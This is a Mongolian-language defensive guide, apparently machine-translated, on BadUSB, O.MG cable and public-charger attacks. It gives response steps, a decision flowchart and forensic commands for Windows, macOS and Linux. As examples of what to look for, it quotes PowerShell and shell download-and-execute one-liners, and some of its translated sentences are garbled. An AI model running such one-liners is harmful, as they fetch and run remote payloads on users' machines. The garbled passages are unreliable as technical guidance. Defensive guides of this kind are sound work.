Skip to content

Хортой USB кабель (HID Injection / BadUSB) болон нийтийн киоск хамгаалалт

Яаралтай тусламжийн дугаар нь улс орон бүрт өөр өөр байдаг. Энэ хуудсанд АНУ, Канадын дугаар болох 911-ийг ашигладаг. Бусад олон улс орнууд 112, 999 эсвэл өөр тоог ашигладаг. Өөрийн улсын дугаарыг олоорой.

Зөөврийн компьютер, ухаалаг утас, таблетаа зочид буудлын ширээ, нисэх онгоцны буудлын хаалга, арын суудал эсвэл хурлын цүнх дээр үлдээсэн танил бус USB-C эсвэл Lightning цэнэглэгч утсанд залгах эсвэл Windows Run харилцах цонхыг харах (Win + R), PowerShell цонх, эсвэл macOS Терминал нь USB кабель, флаш диск эсвэл үзүүлэнгийн товчлуурыг холбосны дараа шууд дэлгэцэн дээр 500 миллисекундын турш анивчдаг ба минутанд 1000 үг бичиж эхлэх нь BadUSB / HID (Хүний интерфэйсийн төхөөрөмж) товчлуур дарах халдлагын шинж тэмдэг юм. Jacking"). Вирусны эсрэг сканнерууд нээхээс өмнө шалгах боломжтой эрхий хурууны драйв дээрх файл хэлбэрээр хадгалагддаг уламжлалт хортой программаас ялгаатай нь O.MG кабель, USB Rubber Ducky, Flipper Zero BadUSB, Bash Bunny, USBHarpoon зэрэг зэвсгийн техник хангамжийн суулгацууд нь Wi-Fi-ын жижиг хянагчийг шууд холбосон радио микро удирдлагатай. энгийн харагдах Apple, Anker эсвэл Samsung цэнэглэгч утас (бараг 12 миллиметр буюу 0.47 инч урт).

Таны компьютер эсвэл түгжээгүй ухаалаг гар утсанд холбогдсон үед тэр далд микроконтроллер нь таны үйлдлийн системд хадгалах диск эсвэл цэнэглэгч гэж мэдэгддэггүй. Үүний оронд USB-ээр тоолдог D+ болон D- стандарт өгөгдлийн зүү USB HID гар (Class 0x03) эсвэл USB Ethernet сүлжээний адаптер (RNDIS / ECM). Windows, macOS, Linux, iOS болон Android нь драйвер эсвэл вирусны эсрэг скан хийх шаардлагагүйгээр шинээр залгагдсан гаруудад итгэдэг тул кабель нь урьдчилан програмчлагдсан товчлуурын дарааллыг шууд ажиллуулдаг (Win + R -> powershell -w hidden -ep bypass ... Windows дээр, эсвэл Cmd + Space -> Terminal macOS дээр) эсвэл 90 метрийн (300 фут) зайд халдагч утсан дээрээ "Гүйцэтгэх" дээр дарахад алсаас удирддаг Wi-Fi ачааллыг идэвхжүүлдэг. Цэнэглэх порттой зэрэгцэн утасгүй сүлжээний өргөн хүрээтэй сүлжээний аюулын талаар манайхаас лавлана уу нийтийн Wi-Fi, Evil Twin, жүүс татахаас хамгаалах гарын авлага. Хэрэв та бие махбодийн заналхийлэл, мөнгө дээрэмдэлтэй тулгарвал орон нутгийн түргэн тусламжийн дугаар руу залгана уу (911 АНУ, Канадад, 112 Европын холбоо даяар, 999 Их Британид) эсвэл манайхаас үзнэ үү яаралтай тусламжийн дугаар лавлах. Доорх техник хангамжийн тусгаарлалт болон шүүх эмнэлгийн нөхөн сэргээх арга хэмжээг дагана уу.

Үүнийг одоо хий

  1. Сэжигтэй USB кабель, флаш диск, док эсвэл цэнэглэгч утсыг төхөөрөмжийнхөө портоос ШУУД салгах: Түгжээгүй компьютер эсвэл утсанд BadUSB эсвэл O.MG кабель секунд тутам залгагдсан байх нь түүний дотоод микроконтроллер (эсвэл кабелийн далд дотоод Wi-Fi холболтын цэгт холбогдсон ойролцоох халдагчид) нь USB файлын сүлжээний далд сүлжээг нэвтрүүлэх боломжийг олгодог. суваг, эсвэл таны гадаад гар дээр бичсэн нууц үг бүрийг бүртгэдэг техник хангамжийн товчлуур ажиллуулж болно.
  2. Нөлөөлөлд өртсөн зөөврийн компьютер эсвэл утсаа Wi-Fi, Ethernet болон Bluetooth-ээс яг одоо салгаж, тэр машин дээр ямар ч нууц үг бичиж болохгүй: Стандарт 2 секундын BadUSB / Rubber Ducky ачаалал нь удаан гарны интерфейс дээр асар том програм бичихгүй; оронд нь энэ нь PowerShell-д 1 мөрт "шатлах" командыг бичдэг (iex (irm http://...)) эсвэл macOS терминал (curl -s http://... | sh) нь таны Wi-Fi холболтоор бүрэн мэдээлэл хулгайлагч эсвэл алсаас хандах троян татаж авдаг. Wi-Fi болон Ethernet-ийг таслах нь татан авалтыг шууд устгадаг эсвэл шүүрэлтийг зогсооно.
  3. Хэрэв та iPhone/iPad дээрээ "Энэ компьютерт итгэ" гэснийг товшсон эсвэл олон нийтийн цэнэглэгч төхөөрөмж дээр өөрийн Андройд утсан дээрээ "Файл дамжуулах (MTP) / USB дибаг хийхийг зөвшөөрөх (ADB)"-г сонгосон бол итгэлийг шууд цуцална уу:
  4. iPhone / iPad дээр: Утсаа салгаад Тохиргоо > Хөгжүүлэгч руу очно уу (хэрэв Тохиргооны доод хэсэгт харагдаж байвал) -> Итгэмжлэгдсэн компьютерийг арилгах-г товшино уу. Хэрэв хөгжүүлэгч харагдахгүй байсан бол Тохиргоо > Ерөнхий > iPhone-г шилжүүлэх эсвэл дахин тохируулах > Дахин тохируулах > Байршил, нууцлалыг дахин тохируулах хэсэгт очно уу. lockdownd хост хосолсон бичлэгүүд байдаг тул ямар ч компьютер эсвэл киоск таны нууц кодгүйгээр таны iPhone нөөцлөлтөд дахин хэзээ ч хандах боломжгүй.
  5. Android дээр: Утсаа салгаад Тохиргоо > Систем > Хөгжүүлэгчийн сонголтууд (идэвхжүүлсэн бол) -> USB дибаг хийх зөвшөөрлийг хүчингүй болгох гэснийг товшоод Хөгжүүлэгчийн тохиргоог-г бүрэн УНТРААХ.
  6. ** Run хайрцгийг чагталснаар таны компьютер дээр дөнгөж сая BadUSB товчлуурын даралтын ачааллыг шалгана уу.RunMRU), PowerShell тушаалын бүртгэл (PSReadLine), болон macOS Терминалын түүх**: Дахин ачаалахаасаа өмнө офлайн компьютер дээрээ цэвэр терминалын цонхыг нээж, манай системийг ашиглан хуурамч USB гар таны системд оруулсан гэсэн командыг уншина уу. 2-р үе шатанд шүүх эмнэлгийн аудитын командууд.
  7. Сэжигтэй USB кабель эсвэл эрхий хурууны драйвыг металл саванд эсвэл Фарадей цүнхэнд хийж хадгална уу ("юу байгааг харахын тулд" ямар ч компьютерт залгаж болохгүй): O.MG кабель нь идэвхтэй ESP8266/ESP32 Wi-Fi дамжуулагч агуулсан бөгөөд 5 вольт (батарей эсвэл хананд залгасан ч гэсэн) асдаг. далд Wi-Fi хандалтын цэгийг асааж, танай зочид буудлын өрөө эсвэл оффисын гадна байгаа халдагчид үүнтэй холбогдох эсвэл өөрийгөө устгах ажиллагааг эхлүүлэх боломжийг олгодог (Self-Destruct / Wipe) онцлог. Үүнийг бүрэн салгаж орхи.
  8. Хэрэв таныг нэвтэрч байх үед BadUSB ачаалал таны компьютер дээр скрипт ажиллуулсан бол бүх итгэмжлэлийг эргүүлж, тусдаа, цэвэр төхөөрөмжөөс идэвхтэй сешнүүдийг цуцална уу: Орчин үеийн BadUSB ачааллын 90 хувь нь хөтчийн күүкиг болон хадгалсан нууц үгийг 3 секундын дотор авдаг мэдээлэл хулгайлагчийг ажиллуулдаг тул манай сесс күүки хулгайлах болон мэдээлэл хулгайлагч жетоныг хүчингүй болгох гарын авлага цэвэр ухаалаг гар утаснаас.

Danger

Яагаад "USB бэлгэвч" (Fisical Data Blocker) нь үл мэдэгдэх цэнэглэгч портыг ашиглах үед ГАНЦХАН баталгаатай техник хангамжийн саад тотгор бөгөөд энэ нь таныг Төхөөрөмжийн талд залгагдаж байгаа хортой кабелаас хамгаалж чадахгүй байгаа юм: Физик USB Data Blocker ("USB Condom") нь өгөгдлийн төвийг холбодог жижиг адаптер юм.D+ болон D- USB-A дээр эсвэл D+/D- болон TX/RX USB-C дээрх өндөр хурдны замууд) физикийн хувьд байхгүй, зөвхөн үлдсэн VBUS (+5V-ээс +20V хүртэл) ба GND (газар) утаснууд холбогдсон. Гэсэн хэдий ч, өгөгдлийн блоклогчийг хаана байрлуулах нь чухал: Хэрэв та өгөгдөл блоклогч руу цэвэр кабель залгаж, нисэх онгоцны буудлын ханын порт руу залгавал та 100 хувь аюулгүй болно. **Гэхдээ хэрэв та хортой O.MG кабелийг зөөврийн компьютер эсвэл утсандаа шууд залгаж, хананы цэнэглэгчийн төгсгөлд өгөгдөл блоклогчийг тавивал микроконтроллер нь таны төхөөрөмжид залгагддаг холбогчийн үзүүр дотор нуугдаж байгаа тул хана нь өгөгдөл блоклогчоор дамжуулан 5V хүчдэлээр хангадаг бөгөөд хортой үзүүр нь таны төхөөрөмжийг эвдсэн хэвээр байна. Өгөгдөл блоклогчийг үргэлж утас эсвэл зөөврийн компьютерын порт руу шууд холбоно уу эсвэл өөрийн баталгаажсан кабель болон хувьсах гүйдлийн хананд тоосго авч яваарай.


Шийдвэрийн мод: сэжигтэй USB кабель эсвэл олон нийтийн ТҮЦ-д өртсөн тохиолдолд хариу өгөх

Найдваргүй USB кабель, док, эрхий хурууны драйв эсвэл нийтийн цэнэглэх станцад залгасны дараа таны төхөөрөмж эвдэрсэн эсэхийг тодорхойлохын тулд энэхүү тактикийн схемийг ашиглана уу.

flowchart TD
    Event["Үл мэдэгдэх USB кабельд залгасан, олдсон флаш диск, зочид буудал/нисэх буудлын ТҮЦ эсвэл хөрөөний терминал/ажиллуулах цонхны дэлгэц дээр гэрэлтэх"] --> Unplug["АЛХАМ 1: USB кабель / төхөөрөмжийг нэн даруй салгаж, Wi-Fi / Ethernet-ийг салга."]

    Unplug --> WhatDevice{"Үл мэдэгдэх USB утас эсвэл порт руу ямар төхөөрөмж холбогдсон бэ?"}

    WhatDevice -->|"Windows, macOS эсвэл Linux зөөврийн компьютер / ширээний компьютер"| ScreenLocked{"Компьютерийн дэлгэцийг залгахад түгжээтэй эсвэл ТҮГЖЭЭГҮЙ байсан уу?"}
    WhatDevice -->|"iPhone / iPad (iOS / iPadOS)"| iOSState{"IPhone түгжээг нь тайлсан уу, та 'Итгэх' товчийг дарсан уу эсвэл бичихийг харсан уу?"}
    WhatDevice -->|"Android ухаалаг гар утас / таблет"| AndroidState{"Утасны түгжээг тайлсан уу эсвэл 'USB дибаг хийх (ADB)' идэвхжсэн үү?"}

    ScreenLocked -->|"Түгжээг тайлсан (Ширээний компьютерт нэвтэрсэн)"| AssumeHID["ӨНДӨР ЭРСДЭЛ: BadUSB / O.MG кабель нь товчлуурын даралтыг (Win+R / Cmd+Space) <1.5 секундын дотор ямар ч сануулгагүйгээр гүйцэтгэх боломжтой -> Шүүхийн шинжилгээний 2-р үе шат руу очно уу."]
    ScreenLocked -->|"Түгжигдсэн (Нууц үгийн дэлгэц)"| NetworkDMA["Thunderbolt/PCIe DMA эсвэл USB Ethernet (RNDIS/DHCP хордлого) гарсан эсэхийг шалгана уу; Таны нууц үггүйгээр товчлуурын дарснаар дэлгэцийн түгжээг тойрч гарах боломжгүй"]

    iOSState -->|"Бүтэн цаг түгжигдсэн (iOS 15+ / USB хязгаарлагдмал горим)"| iOSSafe["АЮУЛГҮЙ: Apple-ийн 'USB хязгаарлагдмал горим' нь түгжигдсэн iPhone дээрх өгөгдлийн зүүг идэвхгүй болгодог -> Зөвхөн цахилгаан дамжуулдаг."]
    iOSState -->|"Түгжээг тайлж, товшиж 'Итгэл' (эсвэл Safari/Товчлолыг нээж үзсэн)"| iOSRevoke["Нэн даруй ажиллуул: Тохиргоо > Ерөнхий > iPhone-г шилжүүлэх эсвэл дахин тохируулах > Дахин тохируулах > Байршил, нууцлалыг дахин тохируулах + Аудитын товчлолын програм"]

    AndroidState -->|"Бүтэн цаг түгжигдсэн (Зөвхөн цэнэглэх горим)"| AndroidSafe["АЮУЛГҮЙ: Орчин үеийн Андройд өгөгдмөл нь 'Өгөгдөл дамжуулахгүй (зөвхөн цэнэглэдэг)' -> Өгөгдөл дамжуулаагүй"]
    AndroidState -->|"Түгжээг тайлсан ба дэлгэцээр шивэх эсвэл зөвшөөрөгдсөн ADB/MTP"| AndroidRevoke["Хөгжүүлэгчийн сонголтыг идэвхгүй болгох -> USB дибаг хийхийг хүчингүй болгох -> Суулгасан програмууд болон Chrome татан авалтуудыг шалгана уу"]

BadUSB, O.MG кабель болон нийтийн цэнэглэх довтолгоонууд хэрхэн ажилладагийг ойлгох

Өөрийгөө үр дүнтэй хамгаалж, жинхэнэ техник хангамжийн суулгацад дутуу хариу үйлдэл үзүүлэх, хор хөнөөлгүй цэнэглэгч портуудад сандрахаас зайлсхийхийн тулд USB-ээр халдагчдын ашигладаг гурван өөр техникийн механизмыг ойлгох хэрэгтэй.

1. BadUSB / HID товчлуур дарах (O.MG Cable, Rubber Ducky, Flipper Zero)

  • USB-ийн дизайны үндсэн дутагдал: Бүх нийтийн цуваа автобус (USB) тодорхойлолт нь тоолох явцад нэг физик холбогчийг ямар ч төхөөрөмжийн анги гэж зарлах боломжийг олгодог (bInterfaceClass), эсвэл бүр Нийлмэл төхөөрөмж (өөрийгөө USB флаш диск ба USB гар гэж нэгэн зэрэг зарладаг).
  • O.MG кабель эсвэл хортой цэнэглэгч дотор: Харааны хувьд O.MG кабель нь жинхэнэ сүлжсэн эсвэл цагаан Apple-ийн USB-C-USB-C, USB-C-to-Lightning эсвэл USB-A кабелиас 100 хувь ялгагдахгүй. Энэ нь таны утсыг цэнэглэж, өгөгдлийг хэвийн дамжуулдаг. Гэсэн хэдий ч идэвхтэй холбогчийн үзүүрт 802.11 Wi-Fi болон флаш санах ойтой хоёр цөмт микроконтроллер нуугдаж байна.
  • Идэвхтэй товчлуур дарах: Та кабелийг түгжээгүй Windows PC, Mac, эсвэл ухаалаг гар утсанд залгах үед кабель нь ерөнхий HID Keyboard болон секундэд 850 хүртэлх тэмдэгт бичигддэг (DuckyScript). 1.5 секундын дотор дарна Win + R (Windows) эсвэл Cmd + Space (Mac), далд дэвсгэр бүрхүүлийг ажиллуулж, ачааллыг татаж аваад цонхыг хаадаг.
  • Inline Hardware Keylogger (Гадаад USB гарын хувьд): Халдагчид таны гадаад механик гарыг таны ширээний компьютерт O.MG кабелиар холбосон USB кабелийг сольж авбал суулгац нь утасны голд чимээгүйхэн сууж, ** 650,000 хүртэлх товчлуурын даралтыг** (үүнд таны Bitwarden-д нэвтрэх нууц үг, BIOS-ийн дотоод нууц үг/1P) бичнэ. Халдагчид барилгын гаднаас Wi-Fi-аар утасгүй татаж авдаг флаш санах ой.
  • Газар хамгаалагдсан ба цаг хугацааны хоцрогдолтой ачаалал: 50 ам.долларын үнэтэй энгийн USB Rubber Ducky-ээс ялгаатай нь O.MG кабель нь таны Wi-Fi сүлжээг илрүүлэх хүртэл өдөр эсвэл долоо хоног хэвийн цэнэглэгч утас шиг ажиллахгүй (BSSID geofencing) эсвэл халдагчид суурилуулсан вэб UI ашиглан алсаас өдөөх хүртэл.

2. USB сүлжээний адаптер хулгайлсан (RNDIS / CDC-ECM / PoisonTap / Bash Bunny)

  • Таны зөөврийн компьютерын дэлгэц ** түгжигдсэн байсан ч (Win + L эсвэл Ctrl + Cmd + Q)** Хуурамч USB гар нь терминалын цонхыг нээх боломжгүй тул хортой USB төхөөрөмжийг түгжээгүй USB өгөгдлийн порт руу залгаснаар төхөөрөмжийг Өндөр тэргүүлэх ач холбогдол бүхий гигабит USB Ethernet адаптер (USB RNDIS эсвэл CDC-ECM).
  • Windows болон macOS нь Wi-Fi-аас шинээр холбогдсон утастай Ethernet интерфэйсийг автоматаар чухалчилдаг тул USB төхөөрөмж нь DHCP-ээр дамжуулан таны зөөврийн компьютерын анхдагч гарц болдог.0.0.0.0/1), шифрлэгдээгүй дотоод сүлжээний урсгалыг таслан зогсоох, хариу үйлдэл үзүүлэх WPAD / LLMNR / mDNS асуулга, эсвэл HttpOnly бус арын хөтчийн күүкиг сифон.

3. Олон нийтийн ТҮЦ "Juice Jacking" (MTP / PTP / iOS lockdownd / Android ADB)

  • Ухаалаг утсаа нийтийн USB портод (нисэх онгоцны буудал, галт тэрэгний буудал, зочид буудлын чихэвч эсвэл түрээсийн машины мэдээллийн хэрэгсэлд) ердийн өгөгдөл дамжуулах кабель ашиглан залгахад:
  • Юуг автоматаар блоклодог вэ: iOS 11.4.1 / iOS 15+ (USB Restricted Mode) болон Android 9+ (Charge-Only Default), USB өгөгдлийн порт руу утсаа залгах нь таны зураг эсвэл файлыг автоматаар ил гаргахгүй**. Таныг утасны түгжээг тайлж, "Энэ компьютерт итгэ" (iPhone нууц кодоо оруулна уу)-г тодорхой товших эсвэл Android-н USB мэдэгдлийг Өгөгдөл дамжуулахгүй-ээс Файл дамжуулах (MTP) эсвэл USB дибаг хийхийг зөвшөөрөх рүү гараар солих хүртэл өгөгдөл дамжуулахыг хориглоно.
  • Олон нийтийн ТҮЦ-н бодит аюул хаана байна:
    1. Түгжээгүй утсан дээр сонголт хийх ба HID тарилга: Грац технологийн их сургуулийн аюулгүй байдлын судлаачид харуулсан (ChoiceJacking), хэрэв таны утас таны гарт түгжээг нь тайлсан бол нийтийн USB порт руу залгахад ТҮЦ эхлээд USB гар (HID) 200 миллисекунд болон яг илгээнэ үү Tab / Enter эсвэл компьютерийн өгөгдөл дамжуулах горимд шилжихийн өмнө дэлгэцэн дээрх "Зөвшөөрөх / Файл дамжуулах" сануулгыг дарахад хэрэгтэй туслах товчлуурууд.
    2. Бохир цахилгаан / хэт хүчдэлийн техник хангамжийн гэмтэл (USB Killer): Олон нийтийн USB порт нь конденсаторын 200V DC-г шууд таны утасны USB-C хянагчийн чип рүү хаяж, логик самбарыг бүрмөсөн хуурч чадна.

Харьцуулах матриц: USB хамгаалалтын техник хангамж ба үйлдлийн системийн хамгаалалт

Хувилбар / аюулын вектор Физик USB өгөгдөл хориглогч ("USB бэлгэвч") үүнийг зогсоодог уу? OS "USB хязгаарлагдмал горим" (түгжигдсэн дэлгэц) үүнийг зогсоож байна уу? Шилдэг 100% аюулгүй хувилбар
1. Нисэх онгоцны буудал / Зочид буудал / Онгоц / Түрээсийн машин суурилуулсан USB порт (Өөрийн итгэмжлэгдсэн кабелийг ашиглан) ТИЙМ (100%): Бие махбодийн хувьд үүнийг тасалдаг D+/D- болон TX/RX өгөгдлийн шугамууд нь тиймээс ChoiceJacking, BadUSB болон өгөгдлийн синхрончлолын аль нь ч адаптертай холбогдож чадахгүй. ТИЙМ (хэрэв утас түгжигдсэн хэвээр байвал эсвэл macOS/Windows USB-C дагалдах хэрэгслийн зөвшөөрлийг Тухайн бүрт асуух гэж тохируулсан бол). Өөрийн AC/DC Wall Adapter Brick-ийг стандарт 110V/230V хувьсах гүйдлийн залгуурт залгаарай, эсвэл өөрийн Personal Power Bank-аас цэнэглээрэй.
2. Үл мэдэгдэх / зээлсэн / "Олдсон" USB-C эсвэл Lightning кабель (O.MG кабелийн эрсдэл) ЗӨВХӨН Өгөгдөл блоклогчийг кабелийн үзүүр болон таны утас/зөөврийн компьютерын портын хооронд шууд байрлуулсан бол (хананы цэнэглэгчийн төгсгөлд БИШ). ҮГҮЙ Хэрэв та зөөврийн компьютер/утасныхаа түгжээг кабель залгасан, үйлдлийн системийн дагалдах хэрэгслийн зөвшөөрлийг идэвхжүүлээгүй үед тайлна. Олдсон, бэлэглэсэн эсвэл зээлсэн кабелийг хэзээ ч бүү ашиглаарай. Өөрийнхөө тэмдэглэгдсэн кабелийг авч явах эсвэл Зөвхөн цэнэглэдэг кабель (зөвхөн 2 дотоод утастай) ашиглана уу.
3. Хортой USB флаш диск, үзүүлэнгийн товчлуур эсвэл хулгана Үгүй (Өгөгдөл хориглогч нь флаш диск эсвэл хулганыг огт ажиллахгүй болно). Компьютерийн түгжээг тайлж, USB дагалдах хэрэгслийг холбохыг зөвшөөрсний дараа ҮГҮЙ. Тусгаарлагдсан хамгаалагдсан хязгаарлагдмал орчинд/VM доторх найдваргүй USB хөтчүүдийг USB HID (Class 0x03) Бүлгийн бодлогоор блоклосон эсвэл udev дүрэм.
4. багтаамжтай өндөр хүчдэлийн өсөлт (USB Killer) хорлон сүйтгэсэн боомтод ҮГҮЙ (Стандарт 7$-ын идэвхгүй өгөгдөл хориглогчийг нэвтрүүлсэн хэвээр байна VBUS болон GND шууд; зөвхөн TVS диод/гал хамгаалагч бүхий идэвхтэй тусгаарлагдсан хүчдэлээс хамгаалагдсан блокаторууд 200 В-ын хүчдэлийг зогсооно). ҮГҮЙ (Энэ нь эх хавтан дээрх цахилгаан тоног төхөөрөмжийн халдлага юм). Хэзээ ч олон нийтийн USB үүрэнд шууд залгаж болохгүй; өөрийн АС ханын цэнэглэгч эсвэл зайны багцыг ашиглана уу.

1-р үе шат: Хортой USB кабелийг нүдээр болон цахилгаанаар хэрхэн илрүүлэх вэ (O.MG кабелийн аудит)

Хэрэв та оффисынхоо компьютерийн гарны арын хэсэгт эсвэл аяллын цүнх дотроос сэжигтэй USB кабель олсон бол энэ нь тоног төхөөрөмжийн суулгац мөн эсэхийг тодорхойлохын тулд дараах дөрвөн алхамыг дагана уу.

  1. Тест №1: Тасралтгүй байдлыг хэмжих эсвэл техник хангамжийн кабель шалгагч ашиглах (O.MG Malicious Cable Detector / Bleeping / Hak5 Tester):
  2. Стандарт идэвхгүй USB-A-to-USB-C, USB-A-to-Lightning эсвэл E-тэмдэглэгээгүй USB-C цэнэглэгч кабель нь зөвхөн нэг үзүүрийг тэжээлд залгахад идэвхтэй микропроцессор татах гүйдэл агуулаагүй болно.
  3. O.MG Malicious Cable Detector (эсвэл доторх USB гүйдэл/протокол анализатор гэх мэт) Power-Z KM003C) тэжээлийн эх үүсвэр ба кабелийн хооронд кабелийн хамгийн төгсгөлд юу ч холбогдоогүй сууна:
    • Хэрэв кабель нөгөө үзүүрт юу ч залгаагүй үед 30-аас 120 миллиампер (мА) 5V-д гүйдэл татвал эсвэл USB-ээр тохиролцохыг оролдвол D+/D- өөрөө тооллого, кабелийн толгойн дотор идэвхтэй компьютер / Wi-Fi радио нуугдсан.
  4. Тест №2: Далд Wi-Fi хандалтын цэгүүдийг шалгана уу (O.MG Өгөгдмөл SSID эсвэл ESP32 MAC угтвар):
  5. O.MG кабель болон утасгүй BadUSB суулгацууд нь Espressif (ESP8266 / ESP32-S2 / ESP32-C3) Холбогч бүрхүүл доторх Wi-Fi чип.
  6. Фарадей/тусгаарлагдсан газар (таны компьютер хэзээ ч биш) дотор тусгаарлагдсан USB батерейг ашиглах, тохируулаагүй эсвэл анхдагч O.MG кабелийг тэжээх нь ихэвчлэн 2.4 GHz Wi-Fi сүлжээг дамжуулдаг (үндсэн SSID) O.MG цагт 192.168.4.1, эсвэл Espressif Inc.-д хамаарах **MAC хаяг / BSSID OUI бүхий далд SSID, жишээ нь. 24:0A:C4, 30:AE:A4, 84:CC:A8, A0:20:A6, DC:4F:22, хуурамчаар үйлдээгүй бол).
  7. Туршилт №3: Холбогчийг хөгцний урт ба дулаан үүсгэгчийг шалгана уу:
  8. Сэжигтэй кабелийн суналтын хуванцар бүрхүүлийг танигдсан жинхэнэ Apple эсвэл Anker кабельтай зэрэгцүүлэн харьцуулна уу.
    • Сүүлийн үеийн O.MG Кабель нь Apple-ийн бүрхүүлийн хэмжээстэй яг таарч байгаа боловч 5V-ийн хүчийг хүлээн авснаас хойш 3 минутын дараа идэвхтэй Wi-Fi микроконтроллер агуулсан холбогч толгой нь мэдэгдэхүйц дулаан (35 to 45 degrees Celsius / 95 to 113 degrees Fahrenheit) гар утас нөгөө талдаа цэнэглэгдээгүй байхад ч хурууны үзүүрийн хооронд. (Хол зайд залгаагүй энгийн идэвхгүй кабель нь өрөөний температурт бүрэн хүйтэн хэвээр байна.)

2-р үе шат: Хэрэв таны компьютер дээр BadUSB эсвэл O.MG кабель холбогдсон бол шүүх эмнэлгийн шинжилгээ

Хэрэв та Windows PC, Mac эсвэл Linux зөөврийн компьютерт USB кабель, хурууны драйв эсвэл дагалдах хэрэгслийг залгаад Start цэс, Run харилцах цонхыг харсан бол (Win + R), анхаарлын төвд (Cmd + Space), эсвэл хар/цэнхэр терминалын цонх анивчаад нээгдэж, хаагдах үед одоохондоо дахин асааж болохгүй. Хуурамч USB гар юу бичсэн, ямар USB үйлдвэрлэгч/Бүтээгдэхүүний ID-г харахын тулд эдгээр яг офлайн тушаалуудыг ажиллуулVID:PID) таны порттой холбогдсон:

1. Windows 10 & Windows 11 Шүүхийн аудит (Офлайн PowerShell дээр ажиллуулах)

Офлайн Windows компьютер дээр PowerShell (Админ)-г нээж, эдгээр дөрвөн шүүхийн командыг ажиллуулна уу:

# 1. Inspect the exact commands typed into the Windows Run Dialog (Win + R) by the BadUSB keyboard:
Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"

# 2. Read the persistent PowerShell command history file (captures commands typed into any PowerShell window):
Get-Content (Get-PSReadLineOption).HistorySavePath -Tail 50

# 3. List all USB HID Keyboards and USB Composite Devices recently connected to this PC (with Timestamps & VID/PID):
Get-PnpDevice -Class Keyboard, HIDClass, USB | ForEach-Object {
    $prop = Get-PnpDeviceProperty -InstanceId $_.InstanceId -KeyName "DEVPKEY_Device_FirstInstallDate", "DEVPKEY_Device_LastArrivalDate" -ErrorAction SilentlyContinue
    if ($prop) {
        [PSCustomObject]@{
            FriendlyName = $_.FriendlyName
            Status       = $_.Status
            InstanceId   = $_.InstanceId
            FirstInstall = ($prop | Where-Object KeyName -match "FirstInstallDate").Data
            LastArrival  = ($prop | Where-Object KeyName -match "LastArrivalDate").Data
        }
    }
} | Sort-Object LastArrival -Descending | Select-Object -First 20 | Format-Table -AutoSize

# 4. Check Windows Event Log 4104 (PowerShell Script Block Logging) for obfuscated payloads executed in the last 24 hours:
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4104} -MaxEvents 30 -ErrorAction SilentlyContinue |
    Select-Object TimeCreated, Message | Format-List
  • Хэрхэн тайлбарлах вэ Get-ItemProperty ... RunMRU:
  • Бараг бүх Windows BadUSB / Rubber Ducky скрипт нь ** дарж эхэлдэг.Win + R** (GUI r DuckyScript дээр) болон тушаалыг бичнэ powershell -w h -NoP -NonI -Ep Bypass irm https://... | iex эсвэл cmd /c curl ....
  • Скрипт устгах гэж оролдсон ч гэсэн RunMRU Эцэст нь, хэрэв та гүйцэтгэлийн дундуур кабелийг сугалж авбал (эсвэл скрипт бүртгэлийг устгаагүй бол) яг л хортой URL болон команд нь дотор нь байх болно. RunMRU (a, b, c утгууд) эсвэл дотор ConsoleHost_history.txt.

2. Apple macOS Шүүхийн аудит (Оффлайн терминал дээр ажиллуулах)

MacOS дээр BadUSB ачааллыг ихэвчлэн дардаг Cmd + Space (GUI SPACE), төрөл Terminal, дарна уу Enter, болон ажиллуулах a curl эсвэл osascript нэг давхарга:

# 1. Check your Zsh and Bash command history for any command injected by the fake USB keyboard:
tail -n 50 ~/.zsh_history ~/.bash_history 2>/dev/null

# 2. Query the macOS Unified Log for all USB device attach events and VID/PID enumerations in the last 2 hours:
log show --predicate 'subsystem CONTAINS "usb" OR process == "kernel"' --info --last 2h | grep -iE "USB|AppleUSB|VID|PID|HID|Keyboard|O.MG"

# 3. Check recently modified LaunchAgents and /tmp payloads:
ls -laht ~/Library/LaunchAgents /Library/LaunchAgents /tmp /var/tmp | head -n 30

3. Линуксийн шүүх эмнэлгийн аудит (dmesg & journalctl)

# Inspect kernel USB enumeration logs to see if a charging cable or thumb drive secretly registered as an "input: ... Keyboard" (HID):
sudo journalctl -k --since "2 hours ago" | grep -iE "usb|hid|input|keyboard|rndis|cdc_ether"
tail -n 50 ~/.bash_history ~/.zsh_history 2>/dev/null

Дээрх бүртгэлүүдийн аль нэг нь үүнийг харуулсан бол a powershell, cmd, mshta, curl, wget, эсвэл osascript Интернэтэд холбогдсон үед гүйцэтгэсэн тушаалыг мэдээлэл хулгайлагч эсвэл байнгын арын хаалга ажиллуулсан гэж бодъё: манай тохиргоог ашиглан бүх сешнүүдийг цуцална уу. сесс күүки хулгайлах, мэдээлэл хулгайлах гарын авлага мөн бидний дараа цэвэр үйлдлийн системийг дахин суулгана уу хортой програм, ransomware болон spyware халдварын гарын авлага.


3-р үе шат: BadUSB кабель хэзээ ч автоматаар ажиллахгүйн тулд төхөөрөмжөө түгжих

Орчин үеийн үйлдлийн системүүд нь BadUSB, O.MG кабель, резинэн нугасуудыг нэг тэмдэгт бичихээс өмнө бүрэн саармагжуулдаг хүчирхэг суурилуулсан техник хангамжийн порт түгжээг агуулдаг бөгөөд эдгээр тохиргоог асаавал:

1. Apple macOS (Apple Silicon M1 / M2 / M3 / M4 MacBooks): "Шинэ дагалдах хэрэгсэл асуух"-г идэвхжүүлнэ

MacOS Ventura, Sonoma, эсвэл Sequoia үйлдлийн системтэй Apple Silicon Mac дээр Apple нь техник хангамжийн түвшний USB-C/Thunderbolt порт зөвшөөрлийг нэвтрүүлсэн бөгөөд энэ нь таныг "Зөвшөөрөх" товчийг дарах хүртэл аливаа шинэ USB кабель эсвэл төхөөрөмжийг гар болгон тоолохыг хориглодог. 1. Apple цэсийг нээх () > Системийн тохиргоо > Нууцлал ба аюулгүй байдал. 2. Аюулгүй байдал хэсэг рүү доош гүйлгээд "Дагалдах хэрэгслийг холбохыг зөвшөөрөх"-г олоорой. 3. Үүнийг Түгжээг тайлах үед автоматаар-аас "Шинэ дагалдах хэрэгсэл асуух" (эсвэл аялал жуулчлалын аюулгүй байдлыг дээд зэргээр хамгаалахын тулд "Тэгэх бүр асуух" болгон өөрчил. 4. Энэ нь яагаад Mac дээрх O.MG кабелийг хөргөхийг зогсоож байна вэ: "Аск бүр асуух" эсвэл "Шинэ дагалдах хэрэгсэл асуух" идэвхжсэн хуурмаг O.MG цэнэглэгч кабелийг залгахад таны MacBook-ийн батарейг цэнэглэхийн тулд цахилгаан шууд урсах болно, гэхдээ macOS нь анхааруулах цонх гарч 